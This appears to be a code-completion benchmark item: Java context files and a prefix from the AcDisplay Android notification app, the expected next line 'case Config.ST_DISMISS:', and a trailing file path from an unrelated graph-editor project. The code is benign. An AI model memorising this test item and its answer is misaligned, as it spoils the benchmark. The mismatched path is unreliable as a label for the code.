@see #pause()\n * @see #clear()\n */\n public void resume() {\n mHandler.sendEmptyMessage(RESUME);\n }\n\n /**\n * Clears the timeout.\n *\n * @see #set(int, boolean)\n * @see #pause()\n */\n public void clear() {\n mHandler.sendEmptyMessage(CLEAR);\n }\n\n //-- OTHER -----------------------------------------------------------------\n\n private long uptimeMillis() {\n return SystemClock.uptimeMillis();\n }\n\n private void checkThread() {\n final Thread handlerThread = mHandler.getLooper().getThread();\n final Thread currentThread = Thread.currentThread();\n Check.getInstance().isTrue(handlerThread.equals(currentThread));\n }\n\n //-- HANDLER --------------------------------------------------------------\n\n /**\n * @author Artem Chepurnoy\n */\n private static class H extends WeakHandler<Timeout> {\n\n public H(@NonNull Timeout object) {\n super(object);\n }\n\n @Override\n protected void onHandleMassage(@NonNull Timeout timeout, Message msg) {\n switch (msg.what) {\n case SET:\n timeout.internalSet(msg.arg1, msg.arg2 != 0);\n break;\n case RESUME:\n timeout.internalResume();\n break;\n case PAUSE:\n timeout.internalPause();\n break;\n case CLEAR:\n timeout.internalClear();\n break;\n case TIMEOUT:\n timeout.internalTimeout();\n break;\n default:\n throw new IllegalArgumentException();\n }\n }\n\n }\n\n private void internalSet(long delayMillis, boolean resetOld) {\n checkThread();\n final boolean isPaused = mTimeoutPausedAt != 0;\n final long timeoutAt = uptimeMillis() + delayMillis;\n final long timeoutAtOld = mTimeoutAt + (isPaused\n ? uptimeMillis() - mTimeoutPausedAt\n : 0);\n\n if (mTimeoutAt == 0 || timeoutAtOld > timeoutAt || resetOld) {\n mTimeoutDuration = delayMillis;\n mTimeoutAt = timeoutAt;\n\n if (isPaused) {\n mTimeoutPausedAt = uptimeMillis();\n notifyListeners(EVENT_SET);\n } else {\n notifyListeners(EVENT_SET);\n mHandler.removeMessages(TIMEOUT);\n mHandler.sendEmptyMessageAtTime(TIMEOUT, mTimeoutAt);\n }\n }\n }\n\n private void internalResume() {\n if (mTimeoutPausedAt != 0) {\n checkThread();\n\n final long pausedAt = mTimeoutPausedAt;\n mTimeoutPausedAt = 0;\n\n if (mTimeoutAt > 0) {\n long delta = uptimeMillis() - pausedAt;\n mTimeoutAt += delta;\n mHandler.sendEmptyMessageAtTime(TIMEOUT, mTimeoutAt);\n notifyListeners(EVENT_RESUMED);\n }\n }\n }\n\n private void internalPause() {\n if (mTimeoutPausedAt == 0) {\n checkThread();\n mTimeoutPausedAt = uptimeMillis();\n mHandler.removeMessages(TIMEOUT);\n notifyListeners(EVENT_PAUSED);\n }\n }\n\n private void internalClear() {\n checkThread();\n mTimeoutAt = 0;\n mTimeoutDuration = 0;\n mTimeoutPausedAt = 0;\n mHandler.removeMessages(TIMEOUT);\n notifyListeners(EVENT_CLEARED);\n }\n\n private void internalTimeout() {\n checkThread();\n mTimeoutAt = 0;\n mTimeoutDuration = 0;\n Check.getInstance().isTrue(mTimeoutPausedAt == 0);\n notifyListeners(EVENT_TIMEOUT);\n }\n\n //-- GUI ------------------------------------------------------------------\n\n /**\n * @author Artem Chepurnoy\n */\n public static class Gui implements Timeout.OnTimeoutEventListener {\n\n private static final int MAX = 300;\n\n private final ProgressBarAnimation mProgressBarAnimation;\n private final ProgressBar mProgressBar;\n\n public Gui(@NonNull ProgressBar progressBar) {\n mProgressBar = progressBar;\n mProgressBar.setMax(MAX);\n mProgressBar.setProgress(MAX);\n mProgressBarAnimation = new ProgressBarAnimation(mProgressBar, MAX, 0);\n mProgressBarAnimation.setInterpolator(new LinearInterpolator());\n }\n\n @Override\n public void onTimeoutEvent(@NonNull Timeout timeout, int event) {\n // TODO: Write the timeout's gui\n }\n }\n\n}", "public abstract class OpenNotification implements\n ISubscriptable<OpenNotification.OnNotificationDataChangedListener> {\n\n private static final String TAG = \"OpenNotification\";\n\n @TargetApi(Build.VERSION_CODES.JELLY_BEAN_MR2)\n @NonNull\n public static OpenNotification newInstance(@NonNull StatusBarNotification sbn) {\n Notification n = sbn.getNotification();\n if (Device.hasLollipopApi()) {\n return new OpenNotificationLollipop(sbn, n);\n } else if (Device.hasKitKatWatchApi()) {\n return new OpenNotificationKitKatWatch(sbn, n);\n }\n\n return new OpenNotificationJellyBeanMR2(sbn, n);\n }\n\n @NonNull\n public static OpenNotification newInstance(@NonNull Notification n) {\n if (Device.hasJellyBeanMR2Api()) {\n throw new RuntimeException(\"Use StatusBarNotification instead!\");\n }\n\n return new OpenNotificationJellyBean(n);\n }\n\n //-- BEGIN ----------------------------------------------------------------\n\n public static final int EVENT_ICON = 1;\n public static final int EVENT_READ = 2;\n public static final int EVENT_BRAND_COLOR = 4;\n\n @Nullable\n private final StatusBarNotification mStatusBarNotification;\n @NonNull\n private final Notification mNotification;\n @Nullable\n private Action[] mActions;\n private boolean mEmoticonsEnabled;\n private boolean mMine;\n private boolean mRead;\n private long mLoadedTimestamp;\n private int mNumber;\n\n // Extracted\n @Nullable\n public CharSequence titleBigText;\n @Nullable\n public CharSequence titleText;\n @Nullable\n public CharSequence messageBigText;\n private CharSequence messageBigTextOrigin;\n @Nullable\n public CharSequence messageText;\n private CharSequence messageTextOrigin;\n @Nullable\n public CharSequence[] messageTextLines;\n private CharSequence[] messageTextLinesOrigin;\n @Nullable\n public CharSequence infoText;\n @Nullable\n public CharSequence subText;\n @Nullable\n public CharSequence summaryText;\n\n // Notification icon.\n @Nullable\n private Bitmap mIconBitmap;\n @Nullable\n private AsyncTask<Void, Void, Bitmap> mIconWorker;\n @NonNull\n private final IconFactory.IconAsyncListener mIconCallback =\n new IconFactory.IconAsyncListener() {\n @Override\n public void onGenerated(@NonNull Bitmap bitmap) {\n mIconWorker = null;\n setIcon(bitmap);\n }\n };\n\n // Brand color.\n private int mBrandColor = Color.WHITE;\n @Nullable\n private android.os.AsyncTask<Bitmap, Void, Palette> mPaletteWorker;\n\n // Listeners\n @NonNull\n private final ArrayList<OnNotificationDataChangedListener> mListeners = new ArrayList<>(3);\n\n protected OpenNotification(@Nullable StatusBarNotification sbn, @NonNull Notification n) {\n mStatusBarNotification = sbn;\n mNotification = n;\n }\n\n public void load(@NonNull Context context) {\n mLoadedTimestamp = SystemClock.elapsedRealtime();\n mMine = TextUtils.equals(getPackageName(), PackageUtils.getName(context));\n mActions = Action.makeFor(mNotification);\n mNumber = mNotification.number;\n\n // Load the brand color.\n try {\n String packageName = getPackageName();\n Drawable appIcon = context.getPackageManager().getApplicationIcon(packageName);\n\n final Bitmap bitmap = Bitmap.createBitmap(\n appIcon.getMinimumWidth(),\n appIcon.getMinimumHeight(),\n Bitmap.Config.ARGB_4444);\n appIcon.draw(new Canvas(bitmap));\n AsyncTask.stop(mPaletteWorker);\n mPaletteWorker = Palette.generateAsync(bitmap, new Palette.PaletteAsyncListener() {\n @Override\n public void onGenerated(Palette palette) {\n mBrandColor = palette.getVibrantColor(Color.WHITE);\n notifyListeners(EVENT_BRAND_COLOR);\n bitmap.recycle();\n }\n });\n } catch (PackageManager.NameNotFoundException e) { /* do nothing */ }\n\n // Load notification icon.\n AsyncTask.stop(mIconWorker);\n mIconWorker = IconFactory.generateAsync(context, this, mIconCallback);\n\n // Load all other things, such as title text, message text\n // and more and more.\n new Extractor().loadTexts(context, this);\n messageText = ensureNotEmpty(messageText);\n messageBigText = ensureNotEmpty(messageBigText);\n\n messageTextOrigin = messageText;\n messageBigTextOrigin = messageBigText;\n messageTextLinesOrigin = messageTextLines == null ? null : messageTextLines.clone();\n\n // Initially load emoticons.\n if (mEmoticonsEnabled) {\n mEmoticonsEnabled = false;\n setEmoticonsEnabled(true);\n }\n }\n\n @Nullable\n private CharSequence ensureNotEmpty(@Nullable CharSequence cs) {\n return TextUtils.isEmpty(cs) ? null : cs;\n }\n\n /**\n * @return The {@link android.service.notification.StatusBarNotification} or\n * {@code null}.\n */\n @Nullable\n public StatusBarNotification getStatusBarNotification() {\n return mStatusBarNotification;\n }\n\n /**\n * @return The {@link Notification} supplied to\n * {@link android.app.NotificationManager#notify(int, Notification)}.\n */\n @NonNull\n public Notification getNotification() {\n return mNotification;\n }\n\n /**\n * Array of all {@link Action} structures attached to this notification.\n */\n @Nullable\n public Action[] getActions() {\n return mActions;\n }\n\n @Nullable\n public Bitmap getIcon() {\n return mIconBitmap;\n }\n\n /**\n * The number of events that this notification represents. For example, in a new mail\n * notification, this could be the number of unread messages.\n * <p/>\n * The system may or may not use this field to modify the appearance of the notification. For\n * example, before {@link android.os.Build.VERSION_CODES#HONEYCOMB}, this number was\n * superimposed over the icon in the status bar. Starting with\n * {@link android.os.Build.VERSION_CODES#HONEYCOMB}, the template used by\n * {@link Notification.Builder} has displayed the number in the expanded notification view.\n * <p/>\n * If the number is 0 or negative, it is never shown.\n */\n public int getNumber() {\n return mNumber;\n }\n\n public int getBrandColor() {\n return mBrandColor;\n }\n\n /**\n * @return {@code true} if user has seen the notification,\n * {@code false} otherwise.\n * @see #markAsRead()\n * @see #setRead(boolean)\n */\n public boolean isRead() {\n return mRead;\n }\n\n //-- COMPARING INSTANCES --------------------------------------------------\n\n /**\n * {@inheritDoc}\n */\n @Override\n public abstract int hashCode();\n\n /**\n * {@inheritDoc}\n */\n @SuppressWarnings(\"EqualsWhichDoesntCheckParameterClass\")\n @Override\n public abstract boolean equals(Object o);\n\n /**\n * Note, that method does not equals with {@link #equals(Object)} method.\n *\n * @param n notification to compare with.\n * @return {@code true} if notifications are from the same source and will\n * be handled by system as same notifications, {@code false} otherwise.\n */\n @SuppressLint(\"NewApi\")\n @SuppressWarnings(\"ConstantConditions\")\n public abstract boolean hasIdenticalIds(@Nullable OpenNotification n);\n\n //-- NOTIFICATION DATA ----------------------------------------------------\n\n /**\n * Interface definition for a callback to be invoked\n * when date of notification is changed.\n */\n public interface OnNotificationDataChangedListener {\n\n /**\n * @see #EVENT_ICON\n * @see #EVENT_READ\n */\n public void onNotificationDataChanged(@NonNull OpenNotification notification, int event);\n\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public void registerListener(@NonNull OnNotificationDataChangedListener listener) {\n mListeners.add(listener);\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public void unregisterListener(@NonNull OnNotificationDataChangedListener listener) {\n mListeners.remove(listener);\n }\n\n /**\n * Notifies all listeners about this event.\n *\n * @see com.achep.acdisplay.notifications.OpenNotification.OnNotificationDataChangedListener\n * @see #registerListener(com.achep.acdisplay.notifications.OpenNotification.OnNotificationDataChangedListener)\n */\n private void notifyListeners(int event) {\n for (OnNotificationDataChangedListener listener : mListeners) {\n listener.onNotificationDataChanged(this, event);\n }\n }\n\n private void setIcon(@Nullable Bitmap bitmap) {\n if (mIconBitmap == (mIconBitmap = bitmap)) return;\n notifyListeners(EVENT_ICON);\n }\n\n //-- EMOTICONS ------------------------------------------------------------\n\n public void setEmoticonsEnabled(boolean enabled) {\n if (mEmoticonsEnabled == (mEmoticonsEnabled = enabled)) return;\n reformatTexts();\n }\n\n //-- BASICS ---------------------------------------------------------------\n\n private void reformatTexts() {\n messageText = reformatMessage(messageTextOrigin);\n messageBigText = reformatMessage(messageBigTextOrigin);\n if (messageTextLines != null) {\n for (int i = 0; i < messageTextLines.length; i++) {\n messageTextLines[i] = reformatMessage(messageTextLinesOrigin[i]);\n }\n }\n }\n\n private CharSequence reformatMessage(@Nullable CharSequence cs) {\n if (cs == null) return null;\n if (mEmoticonsEnabled) cs = SmileyParser.getInstance().addSmileySpans(cs);\n return cs;\n }\n\n /**\n * Marks the notification as read.\n *\n * @see #setRead(boolean)\n */\n public void markAsRead() {\n NotificationPresenter.getInstance().setNotificationRead(this, true);\n }\n\n /**\n * Sets the state of the notification.\n *\n * @param isRead {@code true} if user has seen the notification,\n * {@code false} otherwise.\n * @see #markAsRead()\n */\n void setRead(boolean isRead) {\n if (mRead == (mRead = isRead)) return;\n notifyListeners(EVENT_READ);\n }\n\n /**\n * Dismisses this notification from system.\n *\n * @see NotificationUtils#dismissNotification(OpenNotification)\n */\n public void dismiss() {\n NotificationUtils.dismissNotification(this);\n }\n\n /**\n * Performs a click on notification.<br/>\n * To be clear it is not a real click but launching its content intent.\n *\n * @return {@code true} if succeed, {@code false} otherwise\n * @see NotificationUtils#startContentIntent(OpenNotification)\n */\n public boolean click() {\n return NotificationUtils.startContentIntent(this);\n }\n\n /**\n * Clears some notification's resources.\n */\n public void recycle() {\n AsyncTask.stop(mPaletteWorker);\n AsyncTask.stop(mIconWorker);\n }\n\n /**\n * @return {@code true} if notification has been posted from my own application,\n * {@code false} otherwise (or the package name can not be get).\n */\n public boolean isMine() {\n return mMine;\n }\n\n /**\n * @return {@code true} if notification can be dismissed by user, {@code false} otherwise.\n */\n public boolean isDismissible() {\n return isClearable();\n }\n\n /**\n * Convenience method to check the notification's flags for\n * either {@link Notification#FLAG_ONGOING_EVENT} or\n * {@link Notification#FLAG_NO_CLEAR}.\n */\n public boolean isClearable() {\n return ((mNotification.flags & Notification.FLAG_ONGOING_EVENT) == 0)\n && ((mNotification.flags & Notification.FLAG_NO_CLEAR) == 0);\n }\n\n /**\n * @return the package name of notification, or a random string\n * if not possible to get the package name.\n */\n @NonNull\n public abstract String getPackageName();\n\n /**\n * Time since notification has been loaded; in {@link android.os.SystemClock#elapsedRealtime()}\n * format.\n */\n public long getLoadTimestamp() {\n return mLoadedTimestamp;\n }\n\n @Nullable\n public String getGroupKey() {\n return null;\n }\n\n public boolean isGroupChild() {\n return false;\n }\n\n public boolean isGroupSummary() {\n return false;\n }\n\n}", "public class NotificationWidget extends LinearLayout implements INotificatiable {\n\n private final int mMessageLayoutRes;\n private final int mMessageMaxLines;\n private final int mActionLayoutRes;\n private final boolean mActionAddIcon;\n\n @Nullable\n private NotificationIcon mSmallIcon;\n private NotificationIcon mIcon;\n private TextView mTitleTextView;\n private TextView mWhenTextView;\n private TextView mSubtextTextView;\n private ViewGroup mMessageContainer;\n private View mActionsDivider;\n private ViewGroup mActionsContainer;\n\n private OnClickListener mOnClickListener;\n private OpenNotification mNotification;\n private ViewGroup mContent;\n\n private final ColorFilter mColorFilterDark;\n\n /**\n * Interface definition for a callback to be invoked\n * when a notification's views are clicked.\n */\n public interface OnClickListener {\n\n /**\n * Called on content view click.\n *\n * @param v clicked view\n * @see NotificationWidget#getNotification()\n */\n public void onClick(NotificationWidget widget, View v);\n\n /**\n * Called on action button click.\n *\n * @param v clicked view\n * @param intent action's intent\n */\n void onActionButtonClick(NotificationWidget widget, View v, PendingIntent intent);\n }\n\n public NotificationWidget(Context context, AttributeSet attrs) {\n this(context, attrs, 0);\n }\n\n public NotificationWidget(Context context, AttributeSet attrs, int defStyle) {\n super(context, attrs, defStyle);\n\n TypedArray a = context.obtainStyledAttributes(attrs, R.styleable.NotificationWidget);\n mActionLayoutRes = a.getResourceId(\n R.styleable.NotificationWidget_actionItemLayout,\n R.layout.notification_action);\n mMessageMaxLines = a.getInt(R.styleable.NotificationWidget_messageMaxLines, 4);\n mMessageLayoutRes = a.getResourceId(\n R.styleable.NotificationWidget_messageItemLayout,\n R.layout.notification_message);\n mActionAddIcon = a.getBoolean(R.styleable.NotificationWidget_actionItemShowIcon, true);\n a.recycle();\n\n float v = -1f;\n float[] colorMatrix = {\n v, 0, 0, 0, 0,\n 0, v, 0, 0, 0,\n 0, 0, v, 0, 0,\n 0, 0, 0, 1, 0\n };\n mColorFilterDark = new ColorMatrixColorFilter(colorMatrix);\n }\n\n /**\n * Register a callback to be invoked when notification views are clicked.\n * If some of them are not clickable, they becomes clickable.\n */\n public void setOnClickListener(OnClickListener l) {\n View.OnClickListener listener = l == null\n ? null\n : new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n if (mOnClickListener != null) {\n NotificationWidget widget = NotificationWidget.this;\n mOnClickListener.onClick(widget, v);\n }\n }\n };\n\n mOnClickListener = l;\n mContent.setOnClickListener(listener);\n }\n\n @Override\n protected void onFinishInflate() {\n super.onFinishInflate();\n\n mContent = (ViewGroup) findViewById(R.id.content);\n mIcon = (NotificationIcon) findViewById(R.id.icon);\n mSmallIcon = (NotificationIcon) findViewById(R.id.icon_small);\n mTitleTextView = (TextView) findViewById(R.id.title);\n mMessageContainer = (ViewGroup) findViewById(R.id.message_container);\n mWhenTextView = (TextView) findViewById(R.id.when);\n mSubtextTextView = (TextView) findViewById(R.id.subtext);\n mActionsContainer = (ViewGroup) findViewById(R.id.actions);\n mActionsDivider = findViewById(R.id.actions_divider);\n\n if (mSmallIcon != null) mSmallIcon.setNotificationIndicateReadStateEnabled(false);\n mIcon.setNotificationIndicateReadStateEnabled(false);\n }\n\n private int getAverageRgb(int color) {\n final int r = Color.red(color);\n final int g = Color.green(color);\n final int b = Color.blue(color);\n return (r + g + b) / 3;\n }\n\n /**\n * @return {@code true} if given {@link android.widget.TextView} have dark\n * color of text (average of RGB is lower than 127), {@code false} otherwise.\n */\n protected boolean hasDarkTextColor(TextView textView) {\n int color = textView.getCurrentTextColor();\n return getAverageRgb(color) < 127;\n }\n\n /**\n * Updates {@link #mActionsContainer actions container} with actions\n * from given notification. Actually needs {@link android.os.Build.VERSION_CODES#KITKAT KitKat}\n * or higher Android version.\n */\n @SuppressLint(\"NewApi\")\n private void setActions(@NonNull OpenNotification notification, @Nullable Action[] actions) {\n ViewUtils.setVisible(mActionsDivider, actions != null);\n if (actions == null) {\n mActionsContainer.removeAllViews();\n return;\n }\n\n int count = actions.length;\n View[] views = new View[count];\n\n // Find available views.\n int childCount = mActionsContainer.getChildCount();\n int a = Math.min(childCount, count);\n for (int i = 0; i < a; i++) {\n views[i] = mActionsContainer.getChildAt(i);\n }\n\n // Remove redundant views.\n for (int i = childCount - 1; i >= count; i--) {\n mActionsContainer.removeViewAt(i);\n }\n\n LayoutInflater inflater = null;\n for (int i = 0; i < count; i++) {\n final Action action = actions[i];\n View root = views[i];\n\n if (root == null) {\n // Initialize layout inflater only when we really need it.\n if (inflater == null) {\n inflater = (LayoutInflater) getContext()\n .getSystemService(Context.LAYOUT_INFLATER_SERVICE);\n assert inflater != null;\n }\n\n root = inflater.inflate(\n mActionLayoutRes,\n mActionsContainer, false);\n root = initActionView(root);\n // We need to keep all IDs unique to make\n // TransitionManager.beginDelayedTransition(viewGroup, null)\n // work correctly!\n root.setId(mActionsContainer.getChildCount() + 1);\n mActionsContainer.addView(root);\n }\n\n if (action.intent != null) {\n root.setEnabled(true);\n root.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n if (mOnClickListener != null) {\n NotificationWidget widget = NotificationWidget.this;\n mOnClickListener.onActionButtonClick(widget, v, action.intent);\n }\n }\n });\n } else {\n root.setEnabled(false);\n }\n\n // Get message view and apply the content.\n TextView textView = root instanceof TextView\n ? (TextView) root\n : (TextView) root.findViewById(R.id.title);\n textView.setText(action.title);\n\n if (mActionAddIcon) {\n Drawable icon = NotificationUtils.getDrawable(getContext(), notification, action.icon);\n\n if (icon != null) {\n final int size = getResources().getDimensionPixelSize(R.dimen.notification_action_icon_size);\n icon.setBounds(0, 0, size, size);\n\n if (hasDarkTextColor(textView)) {\n icon = icon.mutate();\n icon.setColorFilter(mColorFilterDark);\n }\n }\n\n // Add/remove an icon.\n if (Device.hasJellyBeanMR1Api()) {\n textView.setCompoundDrawablesRelative(icon, null, null, null);\n } else {\n textView.setCompoundDrawables(icon, null, null, null);\n }\n } else {\n textView.setCompoundDrawables(null, null, null, null);\n }\n }\n }\n\n protected View initActionView(View view) {\n return view;\n }\n\n /**\n * Updates a message, trying to show only as much as\n * {@link #mMessageMaxLines max lines limit} allows to.\n *\n * @param lines an array of the lines of message.\n */\n @SuppressLint(\"CutPasteId\")\n private void setMessageLines(@Nullable CharSequence[] lines) {\n if (lines == null) {\n // Hide message container. Do not delete all messages\n // because we may re-use them later.\n mMessageContainer.removeAllViews();\n return;\n }\n\n int[] maxlines;\n\n final int length = lines.length;\n maxlines = new int[length];\n\n int freeLines = mMessageMaxLines;\n int count = Math.min(length, freeLines);\n if (mMessageMaxLines > length) {\n\n // Initial setup.\n Arrays.fill(maxlines, 1);\n freeLines -= length;\n\n // Build list of lengths, so we don't have\n // to recalculate it every time.\n int[] msgLengths = new int[length];\n for (int i = 0; i < length; i++) {\n assert lines[i] != null;\n msgLengths[i] = lines[i].length();\n }\n\n while (freeLines > 0) {\n int pos = 0;\n float a = 0;\n for (int i = 0; i < length; i++) {\n final float k = (float) msgLengths[i] / maxlines[i];\n if (k > a) {\n a = k;\n pos = i;\n }\n }\n maxlines[pos]++;\n freeLines--;\n }\n } else {\n // Show first messages.\n for (int i = 0; freeLines > 0; freeLines--, i++) {\n maxlines[i] = 1;\n }\n }\n\n View[] views = new View[count];\n\n // Find available views.\n int childCount = mMessageContainer.getChildCount();\n int a = Math.min(childCount, count);\n for (int i = 0; i < a; i++) {\n views[i] = mMessageContainer.getChildAt(i);\n }\n\n // Remove redundant views.\n for (int i = childCount - 1; i >= count; i--) {\n mMessageContainer.removeViewAt(i);\n }\n\n boolean highlightFirstLetter = count > 1;\n\n LayoutInflater inflater = null;\n for (int i = 0; i < count; i++) {\n View root = views[i];\n\n if (root == null) {\n // Initialize layout inflater only when we really need it.\n if (inflater == null) {\n inflater = (LayoutInflater) getContext()\n .getSystemService(Context.LAYOUT_INFLATER_SERVICE);\n assert inflater != null;\n }\n\n root = inflater.inflate(\n mMessageLayoutRes,\n mMessageContainer, false);\n // We need to keep all IDs unique to make\n // TransitionManager.beginDelayedTransition(viewGroup, null)\n // work correctly!\n root.setId(mMessageContainer.getChildCount() + 1);\n mMessageContainer.addView(root);\n }\n\n CharSequence text;\n\n char symbol = lines[i].charAt(0);\n boolean isClear = Character.isLetter(symbol) || Character.isDigit(symbol);\n if (highlightFirstLetter && isClear) {\n SpannableString spannable = new SpannableString(lines[i]);\n spannable.setSpan(new UnderlineSpan(), 0, 1, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);\n text = spannable;\n } else {\n text = lines[i];\n }\n\n // Get message view and apply the content.\n TextView textView = root instanceof TextView\n ? (TextView) root\n : (TextView) root.findViewById(R.id.message);\n textView.setMaxLines(maxlines[i]);\n textView.setText(text);\n }\n }\n\n /**\n * Sets {@link #mSmallIcon icon} to track notification's small icon or\n * hides it if you pass {@code null} as parameter.\n *\n * @param notification a notification to load icon from, or {@code null} to hide view.\n */\n private void setSmallIcon(@Nullable OpenNotification notification) {\n if (mSmallIcon != null) {\n mSmallIcon.setNotification(notification);\n ViewUtils.setVisible(mSmallIcon, notification != null);\n }\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public OpenNotification getNotification() {\n return mNotification;\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public void setNotification(OpenNotification osbn) {\n mNotification = osbn;\n if (osbn == null) {\n // TODO: Hide everything or show a notice to user.\n return;\n }\n\n Notification n = osbn.getNotification();\n Bitmap bitmap = n.largeIcon;\n if (bitmap != null) {\n int averageColor;\n if (BitmapUtils.hasTransparentCorners(bitmap) // Not a profile icon.\n // Title text is dark.\n && hasDarkTextColor(mTitleTextView)\n // Icon has white color.\n && Color.red(averageColor = BitmapUtils.getAverageColor(bitmap)) > 200\n && Color.blue(averageColor) > 200\n && Color.green(averageColor) > 200) {\n // The icon is PROBABLY not a profile icon,\n // NOT a dark one and we must reverse its color to\n // make it visible on white backgrounds.\n mIcon.setColorFilter(mColorFilterDark);\n } else {\n mIcon.setColorFilter(null);\n }\n\n // Disable tracking notification's icon\n // and set large icon.\n mIcon.setNotification(null);\n mIcon.setImageBitmap(bitmap);\n\n setSmallIcon(osbn);\n } else {\n mIcon.setNotification(osbn);\n mIcon.setColorFilter(hasDarkTextColor(mTitleTextView)\n ? mColorFilterDark\n : null);\n setSmallIcon(null);\n }\n\n Formatter formatter = NotificationPresenter.getInstance().getFormatter();\n Formatter.Data data = formatter.get(getContext(), osbn);\n\n mTitleTextView.setText(data.title);\n mSubtextTextView.setText(data.subtitle);\n mWhenTextView.setText(getTimestamp(n));\n\n setActions(osbn, data.actions);\n setMessageLines(data.messages);\n }\n\n private String getTimestamp(@NonNull Notification notification) {\n final long when = notification.when;\n return DateUtils.formatDateTime(getContext(), when, DateUtils.FORMAT_SHOW_TIME);\n }\n\n}", "public final class Build {\n\n /**\n * Is the current build <b>debug</b> or not.\n */\n public static final boolean DEBUG =\n BuildConfig.MY_DEBUG;\n\n /**\n * The timestamp of build in {@code EEE MMMM dd HH:mm:ss zzz yyyy} format.\n */\n @NonNull\n public static final String TIME_STAMP =\n BuildConfig.MY_TIME_STAMP;\n\n /**\n * Uncrypted Google Play's public key.\n *\n * @see #GOOGLE_PLAY_PUBLIC_KEY_SALT\n */\n @NonNull\n public static final String GOOGLE_PLAY_PUBLIC_KEY_ENCRYPTED =\n BuildConfig.MY_GOOGLE_PLAY_PUBLIC_KEY;\n\n /**\n * Salt for {@link #GOOGLE_PLAY_PUBLIC_KEY_ENCRYPTED}\n *\n * @see #GOOGLE_PLAY_PUBLIC_KEY_ENCRYPTED\n */\n @NonNull\n public static final String GOOGLE_PLAY_PUBLIC_KEY_SALT =\n BuildConfig.MY_GOOGLE_PLAY_PUBLIC_KEY_SALT;\n\n /**\n * The oficial e-mail for tons of complains, billions of\n * \"How to uninistall?\" screams and one or two useful emails.\n */\n @NonNull\n public static final String SUPPORT_EMAIL =\n \"support@artemchep.com\";\n\n}", "public class RippleUtils {\n\n /**\n * @return {@code false} if the ripple has been set, {@code true} otherwise\n */\n public static boolean makeFor(@NonNull View view, boolean parentIsScrollContainer) {\n return makeFor(parentIsScrollContainer, true, view);\n }\n\n /**\n * @return {@code false} if the ripple has been set, {@code true} otherwise\n */\n public static boolean makeFor(boolean parentIsScrollContainer,\n boolean darkTheme, @NonNull View... views) {\n ColorStateList csl = views[0].getResources().getColorStateList(\n darkTheme ? R.color.ripple_dark : R.color.ripple_light);\n return makeFor(csl, parentIsScrollContainer, views);\n }\n\n public static boolean makeFor(@NonNull ColorStateList csl,\n boolean parentIsScrollContainer,\n @NonNull View... views) {\n if (!Device.hasLollipopApi()) {\n // Do not create ripple effect if in power save mode, because\n // this will drain more energy.\n Context context = views[0].getContext();\n if (context instanceof ActivityBase) {\n ActivityBase activityBase = (ActivityBase) context;\n if (activityBase.isPowerSaveMode()) {\n return true;\n }\n }\n\n for (View view : views) {\n view.setBackground(null);\n RippleDrawable.makeFor(view, csl, parentIsScrollContainer);\n }\n return false;\n }\n return true;\n }\n\n}" ]
import com.achep.acdisplay.Config; import com.achep.acdisplay.Timeout; import com.achep.acdisplay.notifications.OpenNotification; import com.achep.acdisplay.ui.widgets.notification.NotificationWidget; import com.achep.base.Build; import com.achep.base.utils.RippleUtils; import com.achep.base.utils.ViewUtils; import android.content.Context; import android.content.res.Configuration; import android.content.res.TypedArray; import android.support.annotation.NonNull; import android.util.AttributeSet; import android.util.Log; import android.view.MotionEvent; import android.view.View; import android.view.ViewConfiguration; import android.widget.ProgressBar; import android.widget.TextView;
} @Override protected void onDetachedFromWindow() { mTimeout.clear(); mTimeout.unregisterListener(this); mTimeout.unregisterListener(mTimeoutGui); super.onDetachedFromWindow(); } private void handleTimeout(@NonNull MotionEvent event) { switch (event.getAction()) { case MotionEvent.ACTION_DOWN: mTimeout.pause(); break; case MotionEvent.ACTION_UP: case MotionEvent.ACTION_CANCEL: resetDecayTime(); break; } } /** * {@inheritDoc} */ @Override public boolean onInterceptTouchEvent(MotionEvent event) { // Do not let notification to be timed-out while // we are touching it. handleTimeout(event); return mSwipeHelperX.onInterceptTouchEvent(event) || super.onInterceptTouchEvent(event); } /** * {@inheritDoc} */ @Override public boolean onTouchEvent(@NonNull MotionEvent event) { // Do not let notification to be timed-out while // we are touching it. handleTimeout(event); // Translate touch event too to correspond with // view's translation changes and prevent lags // while swiping. final MotionEvent ev = MotionEvent.obtainNoHistory(event); ev.offsetLocation(getTranslationX(), getTranslationY()); boolean handled = mSwipeHelperX.onTouchEvent(ev); ev.recycle(); return handled || super.onTouchEvent(event); } /** * {@inheritDoc} */ @Override protected void onConfigurationChanged(Configuration newConfig) { super.onConfigurationChanged(newConfig); float densityScale = getResources().getDisplayMetrics().density; mSwipeHelperX.setDensityScale(densityScale); float pagingTouchSlop = ViewConfiguration.get(getContext()).getScaledPagingTouchSlop(); mSwipeHelperX.setPagingTouchSlop(pagingTouchSlop); } //-- TIMEOUT -------------------------------------------------------------- @Override public void onTimeoutEvent(@NonNull Timeout timeout, int event) { switch (event) { case Timeout.EVENT_TIMEOUT: // Running #hide() in this thread may cause the // java.util.ConcurrentModificationException. post(new Runnable() { @Override public void run() { hide(); } }); break; } } //-- SWIPE HELPER'S METHODS ----------------------------------------------- @Override public View getChildAtPosition(MotionEvent ev) { return this; } @Override public View getChildContentView(View v) { return this; } @Override public boolean canChildBeDismissed(View v) { return getNotification().isDismissible(); } @Override public void onBeginDrag(View v) { requestDisallowInterceptTouchEvent(true); } @Override public void onChildDismissed(View v) { if (v.getTranslationX() == 0) Log.w(TAG, "Failed to detect the swipe\'s direction!" + " Assuming it\'s RTL..."); final boolean toRight = v.getTranslationX() > 0; final int action = toRight ? mHeadsUpBase.getConfig().getStrAction() : mHeadsUpBase.getConfig().getStlAction(); if (Build.DEBUG) Log.d(TAG, "swiped_to_right=" + toRight + "action=" + action); switch (action) {
case Config.ST_DISMISS:
0
eckig/graph-editor
core/src/main/java/de/tesis/dynaware/grapheditor/core/selections/SelectionTracker.java
